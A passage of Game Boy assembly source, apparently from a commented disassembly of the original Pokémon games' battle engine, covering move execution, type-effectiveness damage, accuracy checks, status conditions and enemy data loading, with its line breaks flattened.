mainly used to print the "[Pokemon] used [Move]" text. ; Both are set to 0 whenever a new Pokemon is sent out ; ccf1 is also set to 0 whenever the player is fast asleep or frozen solid. ; ccf2 is also set to 0 whenever the enemy is fast asleep or frozen solid. ld a, [H_WHOSETURN] and a ; values for player turn ld a, [wEnemyUsedMove] ld hl, wPlayerSelectedMove ld de, wPlayerMoveNum jr z, .next ; values for enemy turn ld a, [wPlayerUsedMove] ld de, wEnemyMoveNum ld hl, wEnemySelectedMove .next ld [hl], a cp MIRROR_MOVE ; did the target Pokemon last use Mirror Move, and miss? jr z, .mirrorMoveFailed and a ; has the target selected any move yet? jr nz, ReloadMoveData .mirrorMoveFailed ld hl, MirrorMoveFailedText call PrintText xor a ret MirrorMoveFailedText: TX_FAR _MirrorMoveFailedText db "@" ; function used to reload move data for moves like Mirror Move and Metronome ReloadMoveData: ld [wd11e], a dec a ld hl, Moves ld bc, MoveEnd - Moves call AddNTimes ld a, BANK(Moves) call FarCopyData ; copy the move's stats call IncrementMovePP ; the follow two function calls are used to reload the move name call GetMoveName call CopyStringToCF4B ld a, $01 and a ret ; function that picks a random move for metronome MetronomePickMove: xor a ld [wAnimationType], a ld a, METRONOME call PlayMoveAnimation ; play Metronome's animation ; values for player turn ld de, wPlayerMoveNum ld hl, wPlayerSelectedMove ld a, [H_WHOSETURN] and a jr z, .pickMoveLoop ; values for enemy turn ld de, wEnemyMoveNum ld hl, wEnemySelectedMove ; loop to pick a random number in the range [1, $a5) to be the move used by Metronome .pickMoveLoop call BattleRandom and a jr z, .pickMoveLoop cp NUM_ATTACKS + 1 ; max normal move number + 1 (this is Struggle's move number) jr nc, .pickMoveLoop cp METRONOME jr z, .pickMoveLoop ld [hl], a jr ReloadMoveData ; this function increments the current move's PP ; it's used to prevent moves that run another move within the same turn ; (like Mirror Move and Metronome) from losing 2 PP IncrementMovePP: ld a, [H_WHOSETURN] and a ; values for player turn ld hl, wBattleMonPP ld de, wPartyMon1PP ld a, [wPlayerMoveListIndex] jr z, .next ; values for enemy turn ld hl, wEnemyMonPP ld de, wEnemyMon1PP ld a, [wEnemyMoveListIndex] .next ld b, $00 ld c, a add hl, bc inc [hl] ; increment PP in the currently battling pokemon memory location ld h, d ld l, e add hl, bc ld a, [H_WHOSETURN] and a ld a, [wPlayerMonNumber] ; value for player turn jr z, .updatePP ld a, [wEnemyMonPartyPos] ; value for enemy turn .updatePP ld bc, wEnemyMon2 - wEnemyMon1 call AddNTimes inc [hl] ; increment PP in the party memory location ret ; function to adjust the base damage of an attack to account for type effectiveness AdjustDamageForMoveType: ; values for player turn ld hl, wBattleMonType ld a, [hli] ld b, a ; b = type 1 of attacker ld c, [hl] ; c = type 2 of attacker ld hl, wEnemyMonType ld a, [hli] ld d, a ; d = type 1 of defender ld e, [hl] ; e = type 2 of defender ld a, [wPlayerMoveType] ld [wMoveType], a ld a, [H_WHOSETURN] and a jr z, .next ; values for enemy turn ld hl, wEnemyMonType ld a, [hli] ld b, a ; b = type 1 of attacker ld c, [hl] ; c = type 2 of attacker ld hl, wBattleMonType ld a, [hli] ld d, a ; d = type 1 of defender ld e, [hl] ; e = type 2 of defender ld a, [wEnemyMoveType] ld [wMoveType], a .next ld a, [wMoveType] cp b ; does the move type match type 1 of the attacker? jr z, .sameTypeAttackBonus cp c ; does the move type match type 2 of the attacker? jr z, .sameTypeAttackBonus jr .skipSameTypeAttackBonus .sameTypeAttackBonus ; if the move type matches one of the attacker's types ld hl, wDamage + 1 ld a, [hld] ld h, [hl] ld l, a ; hl = damage ld b, h ld c, l ; bc = damage srl b rr c ; bc = floor(0.5 * damage) add hl, bc ; hl = floor(1.5 * damage) ; store damage ld a, h ld [wDamage], a ld a, l ld [wDamage + 1], a ld hl, wDamageMultipliers set 7, [hl] .skipSameTypeAttackBonus ld a, [wMoveType] ld b, a ld hl, TypeEffects .loop ld a, [hli] ; a = "attacking type" of the current type pair cp $ff jr z, .done cp b ; does move type match "attacking type"? jr nz, .nextTypePair ld a, [hl] ; a = "defending type" of the current type pair cp d ; does type 1 of defender match "defending type"? jr z, .matchingPairFound cp e ; does type 2 of defender match "defending type"? jr z, .matchingPairFound jr .nextTypePair .matchingPairFound ; if the move type matches the "attacking type" and one of the defender's types matches the "defending type" push hl push bc inc hl ld a, [wDamageMultipliers] and $80 ld b, a ld a, [hl] ; a = damage multiplier ld [H_MULTIPLIER], a add b ld [wDamageMultipliers], a xor a ld [H_MULTIPLICAND], a ld hl, wDamage ld a, [hli] ld [H_MULTIPLICAND + 1], a ld a, [hld] ld [H_MULTIPLICAND + 2], a call Multiply ld a, 10 ld [H_DIVISOR], a ld b, $04 call Divide ld a, [H_QUOTIENT + 2] ld [hli], a ld b, a ld a, [H_QUOTIENT + 3] ld [hl], a or b ; is damage 0? jr nz, .skipTypeImmunity .typeImmunity ; if damage is 0, make the move miss ; this only occurs if a move that would do 2 or 3 damage is 0.25x effective against the target inc a ld [wMoveMissed], a .skipTypeImmunity pop bc pop hl .nextTypePair inc hl inc hl jp .loop .done ret ; function to tell how effective the type of an enemy attack is on the player's current pokemon ; this doesn't take into account the effects that dual types can have ; (e.g. 4x weakness / resistance, weaknesses and resistances canceling) ; the result is stored in [wTypeEffectiveness] ; ($05 is not very effective, $10 is neutral, $14 is super effective) ; as far is can tell, this is only used once in some AI code to help decide which move to use AIGetTypeEffectiveness: ld a, [wEnemyMoveType] ld d, a ; d = type of enemy move ld hl, wBattleMonType ld b, [hl] ; b = type 1 of player's pokemon inc hl ld c, [hl] ; c = type 2 of player's pokemon ld a, $10 ld [wTypeEffectiveness], a ; initialize to neutral effectiveness ld hl, TypeEffects .loop ld a, [hli] cp $ff ret z cp d ; match the type of the move jr nz, .nextTypePair1 ld a, [hli] cp b ; match with type 1 of pokemon jr z, .done cp c ; or match with type 2 of pokemon jr z, .done jr .nextTypePair2 .nextTypePair1 inc hl .nextTypePair2 inc hl jr .loop .done ld a, [hl] ld [wTypeEffectiveness], a ; store damage multiplier ret INCLUDE "data/type_effects.asm" ; some tests that need to pass for a move to hit MoveHitTest: ; player's turn ld hl, wEnemyBattleStatus1 ld de, wPlayerMoveEffect ld bc, wEnemyMonStatus ld a, [H_WHOSETURN] and a jr z, .dreamEaterCheck ; enemy's turn ld hl, wPlayerBattleStatus1 ld de, wEnemyMoveEffect ld bc, wBattleMonStatus .dreamEaterCheck ld a, [de] cp DREAM_EATER_EFFECT jr nz, .swiftCheck ld a, [bc] and SLP ; is the target pokemon sleeping? jp z, .moveMissed .swiftCheck ld a, [de] cp SWIFT_EFFECT ret z ; Swift never misses (interestingly, Azure Heights lists this is a myth, but it appears to be true) call CheckTargetSubstitute ; substitute check (note that this overwrites a) jr z, .checkForDigOrFlyStatus ; this code is buggy. it's supposed to prevent HP draining moves from working on substitutes. ; since $7b79 overwrites a with either $00 or $01, it never works. cp DRAIN_HP_EFFECT jp z, .moveMissed cp DREAM_EATER_EFFECT jp z, .moveMissed .checkForDigOrFlyStatus bit INVULNERABLE, [hl] jp nz, .moveMissed ld a, [H_WHOSETURN] and a jr nz, .enemyTurn .playerTurn ; this checks if the move effect is disallowed by mist ld a, [wPlayerMoveEffect] cp ATTACK_DOWN1_EFFECT jr c, .skipEnemyMistCheck cp HAZE_EFFECT + 1 jr c, .enemyMistCheck cp ATTACK_DOWN2_EFFECT jr c, .skipEnemyMistCheck cp REFLECT_EFFECT + 1 jr c, .enemyMistCheck jr .skipEnemyMistCheck .enemyMistCheck ; if move effect is from $12 to $19 inclusive or $3a to $41 inclusive ; i.e. the following moves ; GROWL, TAIL WHIP, LEER, STRING SHOT, SAND-ATTACK, SMOKESCREEN, KINESIS, ; FLASH, CONVERSION*, HAZE*, SCREECH, LIGHT SCREEN*, REFLECT* ; the moves that are marked with an asterisk are not affected since this ; function is not called when those moves are used ld a, [wEnemyBattleStatus2] bit PROTECTED_BY_MIST, a ; is mon protected by mist? jp nz, .moveMissed .skipEnemyMistCheck ld a, [wPlayerBattleStatus2] bit USING_X_ACCURACY, a ; is the player using X Accuracy? ret nz ; if so, always hit regardless of accuracy/evasion jr .calcHitChance .enemyTurn ld a, [wEnemyMoveEffect] cp ATTACK_DOWN1_EFFECT jr c, .skipPlayerMistCheck cp HAZE_EFFECT + 1 jr c, .playerMistCheck cp ATTACK_DOWN2_EFFECT jr c, .skipPlayerMistCheck cp REFLECT_EFFECT + 1 jr c, .playerMistCheck jr .skipPlayerMistCheck .playerMistCheck ; similar to enemy mist check ld a, [wPlayerBattleStatus2] bit PROTECTED_BY_MIST, a ; is mon protected by mist? jp nz, .moveMissed .skipPlayerMistCheck ld a, [wEnemyBattleStatus2] bit USING_X_ACCURACY, a ; is the enemy using X Accuracy? ret nz ; if so, always hit regardless of accuracy/evasion .calcHitChance call CalcHitChance ; scale the move accuracy according to attacker's accuracy and target's evasion ld a, [wPlayerMoveAccuracy] ld b, a ld a, [H_WHOSETURN] and a jr z, .doAccuracyCheck ld a, [wEnemyMoveAccuracy] ld b, a .doAccuracyCheck ; if the random number generated is greater than or equal to the scaled accuracy, the move misses ; note that this means that even the highest accuracy is still just a 255/256 chance, not 100% call BattleRandom cp b jr nc, .moveMissed ret .moveMissed xor a ld hl, wDamage ; zero the damage ld [hli], a ld [hl], a inc a ld [wMoveMissed], a ld a, [H_WHOSETURN] and a jr z, .playerTurn2 .enemyTurn2 ld hl, wEnemyBattleStatus1 res USING_TRAPPING_MOVE, [hl] ; end multi-turn attack e.g. wrap ret .playerTurn2 ld hl, wPlayerBattleStatus1 res USING_TRAPPING_MOVE, [hl] ; end multi-turn attack e.g. wrap ret ; values for player turn CalcHitChance: ld hl, wPlayerMoveAccuracy ld a, [H_WHOSETURN] and a ld a, [wPlayerMonAccuracyMod] ld b, a ld a, [wEnemyMonEvasionMod] ld c, a jr z, .next ; values for enemy turn ld hl, wEnemyMoveAccuracy ld a, [wEnemyMonAccuracyMod] ld b, a ld a, [wPlayerMonEvasionMod] ld c, a .next ld a, $0e sub c ld c, a ; c = 14 - EVASIONMOD (this "reflects" the value over 7, so that an increase in the target's evasion ; decreases the hit chance instead of increasing the hit chance) ; zero the high bytes of the multiplicand xor a ld [H_MULTIPLICAND], a ld [H_MULTIPLICAND + 1], a ld a, [hl] ld [H_MULTIPLICAND + 2], a ; set multiplicand to move accuracy push hl ld d, $02 ; loop has two iterations ; loop to do the calculations, the first iteration multiplies by the accuracy ratio and ; the second iteration multiplies by the evasion ratio .loop push bc ld hl, StatModifierRatios ; stat modifier ratios dec b sla b ld c, b ld b, $00 add hl, bc ; hl = address of stat modifier ratio pop bc ld a, [hli] ld [H_MULTIPLIER], a ; set multiplier to the numerator of the ratio call Multiply ld a, [hl] ld [H_DIVISOR], a ; set divisor to the the denominator of the ratio ; (the dividend is the product of the previous multiplication) ld b, $04 ; number of bytes in the dividend call Divide ld a, [H_QUOTIENT + 3] ld b, a ld a, [H_QUOTIENT + 2] or b jp nz, .nextCalculation ; make sure the result is always at least one ld [H_QUOTIENT + 2], a ld a, $01 ld [H_QUOTIENT + 3], a .nextCalculation ld b, c dec d jr nz, .loop ld a, [H_QUOTIENT + 2] and a ; is the calculated hit chance over 0xFF? ld a, [H_QUOTIENT + 3] jr z, .storeAccuracy ; if calculated hit chance over 0xFF ld a, $ff ; set the hit chance to 0xFF .storeAccuracy pop hl ld [hl], a ; store the hit chance in the move accuracy variable ret ; multiplies damage by a random percentage from ~85% to 100% RandomizeDamage: ld hl, wDamage ld a, [hli] and a jr nz, .DamageGreaterThanOne ld a, [hl] cp 2 ret c ; return if damage is equal to 0 or 1 .DamageGreaterThanOne xor a ld [H_MULTIPLICAND], a dec hl ld a, [hli] ld [H_MULTIPLICAND + 1], a ld a, [hl] ld [H_MULTIPLICAND + 2], a ; loop until a random number greater than or equal to 217 is generated .loop call BattleRandom rrca cp 217 jr c, .loop ld [H_MULTIPLIER], a call Multiply ; multiply damage by the random number, which is in the range [217, 255] ld a, 255 ld [H_DIVISOR], a ld b, $4 call Divide ; divide the result by 255 ; store the modified damage ld a, [H_QUOTIENT + 2] ld hl, wDamage ld [hli], a ld a, [H_QUOTIENT + 3] ld [hl], a ret ; for more detailed commentary, see equivalent function for player side (ExecutePlayerMove) ExecuteEnemyMove: ld a, [wEnemySelectedMove] inc a jp z, ExecuteEnemyMoveDone call PrintGhostText jp z, ExecuteEnemyMoveDone ld a, [wLinkState] cp LINK_STATE_BATTLING jr nz, .executeEnemyMove ld b, $1 ld a, [wSerialExchangeNybbleReceiveData] cp LINKBATTLE_STRUGGLE jr z, .executeEnemyMove cp 4 ret nc .executeEnemyMove ld hl, wAILayer2Encouragement inc [hl] xor a ld [wMoveMissed], a ld [wMoveDidntMiss], a ld a, $a ld [wDamageMultipliers], a call CheckEnemyStatusConditions jr nz, .enemyHasNoSpecialConditions jp hl .enemyHasNoSpecialConditions ld hl, wEnemyBattleStatus1 bit CHARGING_UP, [hl] ; is the enemy charging up for attack? jr nz, EnemyCanExecuteChargingMove ; if so, jump call GetCurrentMove CheckIfEnemyNeedsToChargeUp: ld a, [wEnemyMoveEffect] cp CHARGE_EFFECT jp z, JumpMoveEffect cp FLY_EFFECT jp z, JumpMoveEffect jr EnemyCanExecuteMove EnemyCanExecuteChargingMove: ld hl, wEnemyBattleStatus1 res CHARGING_UP, [hl] ; no longer charging up for attack res INVULNERABLE, [hl] ; no longer invulnerable to typical attacks ld a, [wEnemyMoveNum] ld [wd0b5], a ld a, BANK(MoveNames) ld [wPredefBank], a ld a, MOVE_NAME ld [wNameListType], a call GetName ld de, wcd6d call CopyStringToCF4B EnemyCanExecuteMove: xor a ld [wMonIsDisobedient], a call PrintMonName1Text ld a, [wEnemyMoveEffect] ld hl, ResidualEffects1 ld de, $1 call IsInArray jp c, JumpMoveEffect ld a, [wEnemyMoveEffect] ld hl, SpecialEffectsCont ld de, $1 call IsInArray call c, JumpMoveEffect EnemyCalcMoveDamage: call SwapPlayerAndEnemyLevels ld a, [wEnemyMoveEffect] ld hl, SetDamageEffects ld de, $1 call IsInArray jp c, EnemyMoveHitTest call CriticalHitTest call HandleCounterMove jr z, handleIfEnemyMoveMissed call SwapPlayerAndEnemyLevels call GetDamageVarsForEnemyAttack call SwapPlayerAndEnemyLevels call CalculateDamage jp z, EnemyCheckIfFlyOrChargeEffect call AdjustDamageForMoveType call RandomizeDamage EnemyMoveHitTest: call MoveHitTest handleIfEnemyMoveMissed: ld a, [wMoveMissed] and a jr z, .moveDidNotMiss ld a, [wEnemyMoveEffect] cp EXPLODE_EFFECT jr z, handleExplosionMiss jr EnemyCheckIfFlyOrChargeEffect .moveDidNotMiss call SwapPlayerAndEnemyLevels GetEnemyAnimationType: ld a, [wEnemyMoveEffect] and a ld a, $1 jr z, playEnemyMoveAnimation ld a, $2 jr playEnemyMoveAnimation handleExplosionMiss: call SwapPlayerAndEnemyLevels xor a playEnemyMoveAnimation: push af ld a, [wEnemyBattleStatus2] bit HAS_SUBSTITUTE_UP, a ; does mon have a substitute? ld hl, HideSubstituteShowMonAnim ld b, BANK(HideSubstituteShowMonAnim) call nz, Bankswitch pop af ld [wAnimationType], a ld a, [wEnemyMoveNum] call PlayMoveAnimation call HandleExplodingAnimation call DrawEnemyHUDAndHPBar ld a, [wEnemyBattleStatus2] bit HAS_SUBSTITUTE_UP, a ; does mon have a substitute? ld hl, ReshowSubstituteAnim ld b, BANK(ReshowSubstituteAnim) call nz, Bankswitch ; slide the substitute's sprite out jr EnemyCheckIfMirrorMoveEffect EnemyCheckIfFlyOrChargeEffect: call SwapPlayerAndEnemyLevels ld c, 30 call DelayFrames ld a, [wEnemyMoveEffect] cp FLY_EFFECT jr z, .playAnim cp CHARGE_EFFECT jr z, .playAnim jr EnemyCheckIfMirrorMoveEffect .playAnim xor a ld [wAnimationType], a ld a, STATUS_AFFECTED_ANIM call PlayMoveAnimation EnemyCheckIfMirrorMoveEffect: ld a, [wEnemyMoveEffect] cp MIRROR_MOVE_EFFECT jr nz, .notMirrorMoveEffect call MirrorMoveCopyMove jp z, ExecuteEnemyMoveDone jp CheckIfEnemyNeedsToChargeUp .notMirrorMoveEffect cp METRONOME_EFFECT jr nz, .notMetronomeEffect call MetronomePickMove jp CheckIfEnemyNeedsToChargeUp .notMetronomeEffect ld a, [wEnemyMoveEffect] ld hl, ResidualEffects2 ld de, $1 call IsInArray jp c, JumpMoveEffect ld a, [wMoveMissed] and a jr z, .moveDidNotMiss call PrintMoveFailureText ld a, [wEnemyMoveEffect] cp EXPLODE_EFFECT jr z, .handleExplosionMiss jp ExecuteEnemyMoveDone .moveDidNotMiss call ApplyAttackToPlayerPokemon call PrintCriticalOHKOText callab DisplayEffectiveness ld a, 1 ld [wMoveDidntMiss], a .handleExplosionMiss ld a, [wEnemyMoveEffect] ld hl, AlwaysHappenSideEffects ld de, $1 call IsInArray call c, JumpMoveEffect ld hl, wBattleMonHP ld a, [hli] ld b, [hl] or b ret z call HandleBuildingRage ld hl, wEnemyBattleStatus1 bit ATTACKING_MULTIPLE_TIMES, [hl] ; is mon hitting multiple times? (example: double kick) jr z, .notMultiHitMove push hl ld hl, wEnemyNumAttacksLeft dec [hl] pop hl jp nz, GetEnemyAnimationType res ATTACKING_MULTIPLE_TIMES, [hl] ; mon is no longer hitting multiple times ld hl, HitXTimesText call PrintText xor a ld [wEnemyNumHits], a .notMultiHitMove ld a, [wEnemyMoveEffect] and a jr z, ExecuteEnemyMoveDone ld hl, SpecialEffects ld de, $1 call IsInArray call nc, JumpMoveEffect jr ExecuteEnemyMoveDone HitXTimesText: TX_FAR _HitXTimesText db "@" ExecuteEnemyMoveDone: ld b, $1 ret ; checks for various status conditions affecting the enemy mon ; stores whether the mon cannot use a move this turn in Z flag CheckEnemyStatusConditions: ld hl, wEnemyMonStatus ld a, [hl] and SLP ; sleep mask jr z, .checkIfFrozen dec a ; decrement number of turns left ld [wEnemyMonStatus], a and a jr z, .wokeUp ; if the number of turns hit 0, wake up ld hl, FastAsleepText call PrintText xor a ld [wAnimationType], a ld a, SLP_ANIM call PlayMoveAnimation jr .sleepDone .wokeUp ld hl, WokeUpText call PrintText .sleepDone xor a ld [wEnemyUsedMove], a ld hl, ExecuteEnemyMoveDone ; enemy can't move this turn jp .enemyReturnToHL .checkIfFrozen bit FRZ, [hl] jr z, .checkIfTrapped ld hl, IsFrozenText call PrintText xor a ld [wEnemyUsedMove], a ld hl, ExecuteEnemyMoveDone ; enemy can't move this turn jp .enemyReturnToHL .checkIfTrapped ld a, [wPlayerBattleStatus1] bit USING_TRAPPING_MOVE, a ; is the player using a multi-turn attack like warp jp z, .checkIfFlinched ld hl, CantMoveText call PrintText ld hl, ExecuteEnemyMoveDone ; enemy can't move this turn jp .enemyReturnToHL .checkIfFlinched ld hl, wEnemyBattleStatus1 bit FLINCHED, [hl] ; check if enemy mon flinched jp z, .checkIfMustRecharge res FLINCHED, [hl] ld hl, FlinchedText call PrintText ld hl, ExecuteEnemyMoveDone ; enemy can't move this turn jp .enemyReturnToHL .checkIfMustRecharge ld hl, wEnemyBattleStatus2 bit NEEDS_TO_RECHARGE, [hl] ; check if enemy mon has to recharge after using a move jr z, .checkIfAnyMoveDisabled res NEEDS_TO_RECHARGE, [hl] ld hl, MustRechargeText call PrintText ld hl, ExecuteEnemyMoveDone ; enemy can't move this turn jp .enemyReturnToHL .checkIfAnyMoveDisabled ld hl, wEnemyDisabledMove ld a, [hl] and a jr z, .checkIfConfused dec a ; decrement disable counter ld [hl], a and $f ; did disable counter hit 0? jr nz, .checkIfConfused ld [hl], a ld [wEnemyDisabledMoveNumber], a ld hl, DisabledNoMoreText call PrintText .checkIfConfused ld a, [wEnemyBattleStatus1] add a ; check if enemy mon is confused jp nc, .checkIfTriedToUseDisabledMove ld hl, wEnemyConfusedCounter dec [hl] jr nz, .isConfused ld hl, wEnemyBattleStatus1 res CONFUSED, [hl] ; if confused counter hit 0, reset confusion status ld hl, ConfusedNoMoreText call PrintText jp .checkIfTriedToUseDisabledMove .isConfused ld hl, IsConfusedText call PrintText xor a ld [wAnimationType], a ld a, CONF_ANIM call PlayMoveAnimation call BattleRandom cp $80 jr c, .checkIfTriedToUseDisabledMove ld hl, wEnemyBattleStatus1 ld a, [hl] and 1 << CONFUSED ; if mon hurts itself, clear every other status from wEnemyBattleStatus1 ld [hl], a ld hl, HurtItselfText call PrintText ld hl, wBattleMonDefense ld a, [hli] push af ld a, [hld] push af ld a, [wEnemyMonDefense] ld [hli], a ld a, [wEnemyMonDefense + 1] ld [hl], a ld hl, wEnemyMoveEffect push hl ld a, [hl] push af xor a ld [hli], a ld [wCriticalHitOrOHKO], a ld a, 40 ld [hli], a xor a ld [hl], a call GetDamageVarsForEnemyAttack call CalculateDamage pop af pop hl ld [hl], a ld hl, wBattleMonDefense + 1 pop af ld [hld], a pop af ld [hl], a xor a ld [wAnimationType], a ld [H_WHOSETURN], a ld a, POUND call PlayMoveAnimation ld a, $1 ld [H_WHOSETURN], a call ApplyDamageToEnemyPokemon jr .monHurtItselfOrFullyParalysed .checkIfTriedToUseDisabledMove ; prevents a disabled move that was selected before being disabled from being used ld a, [wEnemyDisabledMoveNumber] and a jr z, .checkIfParalysed ld hl, wEnemySelectedMove cp [hl] jr nz, .checkIfParalysed call PrintMoveIsDisabledText ld hl, ExecuteEnemyMoveDone ; if a disabled move was somehow selected, player can't move this turn jp .enemyReturnToHL .checkIfParalysed ld hl, wEnemyMonStatus bit PAR, [hl] jr z, .checkIfUsingBide call BattleRandom cp $3f ; 25% to be fully paralysed jr nc, .checkIfUsingBide ld hl, FullyParalyzedText call PrintText .monHurtItselfOrFullyParalysed ld hl, wEnemyBattleStatus1 ld a, [hl] ; clear bide, thrashing about, charging up, and multi-turn moves such as warp and $ff ^ ((1 << STORING_ENERGY) | (1 << THRASHING_ABOUT) | (1 << CHARGING_UP) | (1 << USING_TRAPPING_MOVE)) ld [hl], a ld a, [wEnemyMoveEffect] cp FLY_EFFECT jr z, .flyOrChargeEffect cp CHARGE_EFFECT jr z, .flyOrChargeEffect jr .notFlyOrChargeEffect .flyOrChargeEffect xor a ld [wAnimationType], a ld a, STATUS_AFFECTED_ANIM call PlayMoveAnimation .notFlyOrChargeEffect ld hl, ExecuteEnemyMoveDone jp .enemyReturnToHL ; if using a two-turn move, enemy needs to recharge the first turn .checkIfUsingBide ld hl, wEnemyBattleStatus1 bit STORING_ENERGY, [hl] ; is mon using bide? jr z, .checkIfThrashingAbout xor a ld [wEnemyMoveNum], a ld hl, wDamage ld a, [hli] ld b, a ld c, [hl] ld hl, wEnemyBideAccumulatedDamage + 1 ld a, [hl] add c ; accumulate damage taken ld [hld], a ld a, [hl] adc b ld [hl], a ld hl, wEnemyNumAttacksLeft dec [hl] ; did Bide counter hit 0? jr z, .unleashEnergy ld hl, ExecuteEnemyMoveDone jp .enemyReturnToHL ; unless mon unleashes energy, can't move this turn .unleashEnergy ld hl, wEnemyBattleStatus1 res STORING_ENERGY, [hl] ; not using bide any more ld hl, UnleashedEnergyText call PrintText ld a, $1 ld [wEnemyMovePower], a ld hl, wEnemyBideAccumulatedDamage + 1 ld a, [hld] add a ld b, a ld [wDamage + 1], a ld a, [hl] rl a ; double the damage ld [wDamage], a or b jr nz, .next ld a, $1 ld [wMoveMissed], a .next xor a ld [hli], a ld [hl], a ld a, BIDE ld [wEnemyMoveNum], a call SwapPlayerAndEnemyLevels ld hl, handleIfEnemyMoveMissed ; skip damage calculation, DecrementPP and MoveHitTest jp .enemyReturnToHL .checkIfThrashingAbout bit THRASHING_ABOUT, [hl] ; is mon using thrash or petal dance? jr z, .checkIfUsingMultiturnMove ld a, THRASH ld [wEnemyMoveNum], a ld hl, ThrashingAboutText call PrintText ld hl, wEnemyNumAttacksLeft dec [hl] ; did Thrashing About counter hit 0? ld hl, EnemyCalcMoveDamage ; skip DecrementPP jp nz, .enemyReturnToHL push hl ld hl, wEnemyBattleStatus1 res THRASHING_ABOUT, [hl] ; mon is no longer using thrash or petal dance set CONFUSED, [hl] ; mon is now confused call BattleRandom and $3 inc a inc a ; confused for 2-5 turns ld [wEnemyConfusedCounter], a pop hl ; skip DecrementPP jp .enemyReturnToHL .checkIfUsingMultiturnMove bit USING_TRAPPING_MOVE, [hl] ; is mon using multi-turn move? jp z, .checkIfUsingRage ld hl, AttackContinuesText call PrintText ld hl, wEnemyNumAttacksLeft dec [hl] ; did multi-turn move end? ld hl, GetEnemyAnimationType ; if it didn't, skip damage calculation (deal damage equal to last hit), ; DecrementPP and MoveHitTest jp nz, .enemyReturnToHL jp .enemyReturnToHL .checkIfUsingRage ld a, [wEnemyBattleStatus2] bit USING_RAGE, a ; is mon using rage? jp z, .checkEnemyStatusConditionsDone ; if we made it this far, mon can move normally this turn ld a, RAGE ld [wd11e], a call GetMoveName call CopyStringToCF4B xor a ld [wEnemyMoveEffect], a ld hl, EnemyCanExecuteMove jp .enemyReturnToHL .enemyReturnToHL xor a ; set Z flag ret .checkEnemyStatusConditionsDone ld a, $1 and a ; clear Z flag ret GetCurrentMove: ld a, [H_WHOSETURN] and a jp z, .player ld de, wEnemyMoveNum ld a, [wEnemySelectedMove] jr .selected .player ld de, wPlayerMoveNum ld a, [wFlags_D733] bit BIT_TEST_BATTLE, a ld a, [wTestBattlePlayerSelectedMove] jr nz, .selected ld a, [wPlayerSelectedMove] .selected ld [wd0b5], a dec a ld hl, Moves ld bc, MoveEnd - Moves call AddNTimes ld a, BANK(Moves) call FarCopyData ld a, BANK(MoveNames) ld [wPredefBank], a ld a, MOVE_NAME ld [wNameListType], a call GetName ld de, wcd6d jp CopyStringToCF4B LoadEnemyMonData: ld a, [wLinkState] cp LINK_STATE_BATTLING jp z, LoadEnemyMonFromParty ld a, [wEnemyMonSpecies2] ld [wEnemyMonSpecies], a ld [wd0b5], a call GetMonHeader ld a, [wEnemyBattleStatus3] bit TRANSFORMED, a ; is enemy mon transformed? ld hl, wTransformedEnemyMonOriginalDVs ; original DVs before transforming ld a, [hli] ld b, [hl] jr nz, .storeDVs ld a, [wIsInBattle] cp $2 ; is it a trainer battle? ; fixed DVs for trainer mon ld a, $98 ld b, $88 jr z, .storeDVs ; random DVs for wild mon call BattleRandom ld b, a call BattleRandom .storeDVs ld hl, wEnemyMonDVs ld [hli], a ld [hl], b ld de, wEnemyMonLevel ld a, [wCurEnemyLVL] ld [de], a inc de ld b, $0 ld hl, wEnemyMonHP push hl call CalcStats pop hl ld a, [wIsInBattle] cp $2 ; is it a trainer battle? jr z, .copyHPAndStatusFromPartyData ld a, [wEnemyBattleStatus3] bit TRANSFORMED, a ; is enemy mon transformed? jr nz, .copyTypes ; if transformed, jump ; if it's a wild mon and not transformed, init the current HP to max HP and the status to 0 ld a, [wEnemyMonMaxHP] ld [hli], a ld a, [wEnemyMonMaxHP+1] ld [hli], a xor a inc hl ld [hl], a ; init status to 0 jr .copyTypes ; if it's a trainer mon, copy the HP and status from the enemy party data .copyHPAndStatusFromPartyData ld hl, wEnemyMon1HP ld a, [wWhichPokemon] ld bc, wEnemyMon2 - wEnemyMon1 call AddNTimes ld a, [hli] ld [wEnemyMonHP], a ld a, [hli] ld [wEnemyMonHP + 1], a ld a, [wWhichPokemon] ld [wEnemyMonPartyPos], a inc hl ld a, [hl] ld [wEnemyMonStatus], a jr .copyTypes .copyTypes ld hl, wMonHTypes ld de, wEnemyMonType ld a, [hli] ; copy type 1 ld [de], a inc de ld a, [hli] ; copy type 2 ld [de], a inc de ld a, [hli] ; copy catch rate ld [de], a inc de ld a, [wIsInBattle] cp $2 ; is it a trainer battle? jr nz, .copyStandardMoves ; if it's a trainer battle, copy moves from enemy party data ld hl, wEnemyMon1Moves ld a, [wWhichPokemon] ld bc, wEnemyMon2 - wEnemyMon1 call AddNTimes ld bc, NUM_MOVES call CopyData jr .loadMovePPs .copyStandardMoves ; for a wild mon, first copy default moves from the mon header ld hl, wMonHMoves ld a, [hli] ld [de], a inc de ld a, [hli] ld [de], a inc de ld a, [hli] ld [de], a inc de ld a, [hl] ld [de], a dec de dec de dec de xor a ld [wLearningMovesFromDayCare], a predef WriteMonMoves ; get moves based on current level .loadMovePPs ld hl, wEnemyMonMoves ld de, wEnemyMonPP - 1 predef LoadMovePPs ld hl, wMonHBaseStats ld de, wEnemyMonBaseStats ld b, NUM_STATS .copyBaseStatsLoop ld a, [hli] ld [de], a inc de dec b jr nz, .copyBaseStatsLoop ld hl, wMonHCatchRate ld a, [hli] ld [de], a inc de ld a, [hl] ; base exp ld [de], a ld a, [wEnemyMonSpecies2] ld [wd11e], a call GetMonName ld hl, wcd6d ld de, wEnemyMonNick ld bc, NAME_LENGTH call CopyData ld a, [wEnemyMonSpecies2] ld [wd11e], a predef IndexToPokedex ld a, [wd11e] dec a ld c, a ld b, FLAG_SET ld hl, wPokedexSeen predef FlagActionPredef ; mark this mon as seen in the pokedex ld hl, wEnemyMonLevel ld de, wEnemyMonUnmodifiedLevel ld bc, 1 + NUM_STATS * 2 call CopyData ld a, $7 ; default stat mod ld b, NUM_STAT_MODS ; number of stat mods ld hl, wEnemyMonStatMods .statModLoop ld [hli], a dec b jr nz, .statModLoop ret ; calls BattleTransition to show the battle transition animation and initializes some battle variables DoBattleTransitionAndInitBattleVariables: ld a, [wLinkState] cp LINK_STATE_BATTLING jr nz, .next ; link battle xor a ld [wMenuJoypadPollCount], a callab DisplayLinkBattleVersusTextBox ld a, $1 ld [wUpdateSpritesEnabled], a call ClearScreen .next call DelayFrame predef BattleTransition callab LoadHudAndHpBarAndStatusTilePatterns ld a, $1 ld [H_AUTOBGTRANSFERENABLED], a ld a, $ff ld [wUpdateSpritesEnabled], a call ClearSprites call ClearScreen xor a ld [H_AUTOBGTRANSFERENABLED], a ld [hWY], a ld 